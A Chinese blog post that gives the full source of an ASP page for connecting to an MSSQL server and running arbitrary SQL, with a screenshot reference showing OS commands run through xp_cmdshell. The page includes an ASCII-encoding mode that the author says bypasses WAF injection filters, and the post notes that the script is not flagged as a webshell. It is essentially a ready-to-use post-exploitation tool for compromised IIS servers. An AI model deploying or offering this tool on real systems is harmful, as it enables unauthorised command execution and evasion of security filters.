51工具盒子之前自己网上找各种方法拼拼凑凑出来的一个脚本，目的是在asp环境下连接mssql并执行命令。
因为不是webshell所以不用考虑过狗不过狗，过不过WAF，安全狗之类的WAF是不会杀的。但我们要执行sql语句，势必要传递sql语句，传递sql语句的过程中可能被狗的防注入机制拦截（所谓的误杀），所以我又做了一个编码传递的方式，将待执行的SQL语句编码成ascii码再传递，这样就不会被WAF误杀了。
程序的界面就是这样，简洁干净：
{#ematt:578}
如上图，执行结果用表格的形式显示出来。
执行xp_cmdshell的效果如图：
{#ematt:576}
我一向是个不支持低版本浏览器的，所以我也没用低版本浏览器做测试，我只保证在chrome、firefox下可用。
服务端我测试的环境是windows2003 + IIS6 + MSSQL 2005，其他环境自测。
代码如下：
<%
''''''''''''''''''''''
' MSSQL语句执行工具asp版 by phithon
' blog: www.leavesongs.com
' github: https://github.com/phith0n/asp_mssql_tool
''''''''''''''''''''''
showcss()
Dim Sql_serverip,Sql_linkport,Sql_username,Sql_password,Sql_database,Sql_content
Sql_serverip=Trim(Request("Sql_serverip"))
Sql_linkport=Trim(Request("Sql_linkport"))
Sql_username=Trim(Request("Sql_username"))
Sql_password=Trim(Request("Sql_password"))
Sql_database=Trim(Request("Sql_database"))
Sql_content =Trim(Request("Sql_content"))
If Sql_linkport="" Then Sql_linkport="1433"
If Sql_serverip<>"" and Sql_linkport<>"" and Sql_username<>"" and Sql_password<>"" and Sql_content<>"" Then
if Request("method")="encode" then
dim sqlarr
sqlarr = Split(Sql_content, "\")
Sql_content = ""
for each x in sqlarr
if IsNumeric(x) then
Sql_content = Sql_content & chr(cint(x))
else
Sql_content = Sql_content & x
end if
next
end if
Response.Write "<hr width='100%'><b>执行结果：</b><hr width='100%'>"
Dim SQL,conn,linkStr
SQL=Sql_content
set conn=Server.createobject("adodb.connection")
If Len(Sql_database)=0 Then
linkStr="driver={SQL Server};Server=" & Sql_serverip & "," & Sql_linkport & ";uid=" & Sql_username & ";pwd=" & Sql_password
Else
linkStr="driver={SQL Server};Server=" & Sql_serverip & "," & Sql_linkport & ";uid=" & Sql_username & ";pwd=" & Sql_password & ";database=" & Sql_database
End If
conn.open linkStr
' "Driver={SQL Server};SERVER=IP,端口号;UID=sa;PWD=xxxx;DATABASE=DB"
' update [user] set [name]='admin' where uid=1
set rs = Server.CreateObject("ADODB.recordset")
rs.open SQL, conn
on error resume next
if err<>0 then
response.write "错误："&err.Descripting
else
response.write Replace(SQL,vbcrlf,"<br>") & " 成功！<br /><br />"
dim record
record = rs.fields.count
if record>0 then
dim i
i = 0 %>
<table class="gridtable">
<tr>
<%for each x in rs.fields
response.write("<th style=""min-width: 80px"">" & x.name & "</th>")
next%>
</tr>
<%do until rs.EOF%>
<tr>
<%for each x in rs.Fields%>
<td><%Response.Write(x.value)%></td>
<%next
rs.MoveNext%>
</tr>
<%loop%>
</table>
<%
end if
rs.close
conn.close
end if
Response.End
End If
If Request("do")<>"" Then
Response.Write "请填写数据库连接参数"
Response.End
End If
Sub showcss()
%>
<style>
textarea{resize:none;}
table.gridtable {
font-family: verdana,arial,sans-serif;
font-size:11px;
color:#333333;
border-width: 1px;
border-color: #666666;
border-collapse: collapse;
}
table.gridtable th {
border-width: 1px;
padding: 5px 8px;
border-style: solid;
border-color: #666666;
background-color: #dedede;
}
table.gridtable td {
border-width: 1px;
padding: 5px 8px;
border-style: solid;
border-color: #666666;
background-color: #ffffff;
}
</style>
<%
End Sub
%>
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
<meta http-equiv="pragma" content="no-cache">
<meta http-equiv="Cache-Control" content="no-cache, must-revalidate">
<meta http-equiv="expires" content="Wed, 26 Feb 2006 00:00:00 GMT">
<% showcss() %>
<title>MSSQL语句执行工具asp版 by phithon</title>
<script>
function encode(s){
var r = "";
for(var i = 0; i < s.length ; i++){
var a = s.charCodeAt(i);
if(a < 128 && a > 0){
r += "\\" + a;
}else{
r += "\\" + s[i];
}
}
return r;
}
</script>
</head>
<body>
<hr width="100%">
<form method="post" action="<%=Request.ServerVariables("SCRIPT_NAME")%>?do=exec" target="ResultFrame" id="submitf">
<table class="gridtable" width="100%" style="FILTER: progid:DXImageTransform.Microsoft.Shadow(color:#f6ae56,direction:145,strength:15);">
<tr>
<td colspan="2" align="center">
<h2>MSSQL语句执行工具asp版 by <a href="https://www.leavesongs.com" target="_blank">phithon</a></h2>
</td>
</tr>
<tr>
<td>
<table class="gridtable">
<tr><th colspan="2" align="center">数据库连接设置</th></tr>
<tr><td width="80">SERVERIP:</td><td><input type="text" value="127.0.0.1" name="Sql_serverip" style="width:150px;"></td></tr>
<tr><td width="80">LINKPORT:</td><td><input type="text" value="1433" name="Sql_linkport" style="width:150px;"></td></tr>
<tr><td width="80">USERNAME:</td><td><input type="text" value="sa" name="Sql_username" style="width:150px;"></td></tr>
<tr><td width="80">PASSWORD:</td><td><input type="password" name="Sql_password" style="width:150px;"></td></tr>
<tr><td width="80">DATABASE:</td><td><input type="text" name="Sql_database" style="width:150px;"></td></tr>
</table>
</td>
<td width="100%">
<DIV align=center
style='
color: #990099;
background-color: #E6E6FA;
width: 100%;
height: 180px;
scrollbar-face-color: #DDA0DD;
scrollbar-shadow-color: #3D5054;
scrollbar-highlight-color: #C3D6DA;
scrollbar-3dlight-color: #3D5054;
scrollbar-darkshadow-color: #85989C;
scrollbar-track-color: #D8BFD8;
scrollbar-arrow-color: #E6E6FA;
'>
<textarea name="Sql_content" id="sqlc" style='width:100%;height:100%;'>输入你要执行的sql语句</textarea>
</DIV>
<input type="hidden" id="method" name="method" value="common">
<input type="submit" value="普通执行(可能被WAF拦截)">
<input type="button" onclick="var a=sqlc.value;method.value='encode';sqlc.value=encode(a);submitf.submit();method.value='common';sqlc.value = a;" value="编码执行(可绕过WAF)">
</td>
</tr>
</table>
</form>
<hr width="100%">
<iframe name="ResultFrame" frameborder="0" width="100%" style="min-height: 300px;" src="<%=Request.ServerVariables("SCRIPT_NAME")%>?do=exec"></iframe>
</body>
</html>
问题与说明及后续的BUG处理都在 https://github.com/phith0n/asp_mssql_tool 。
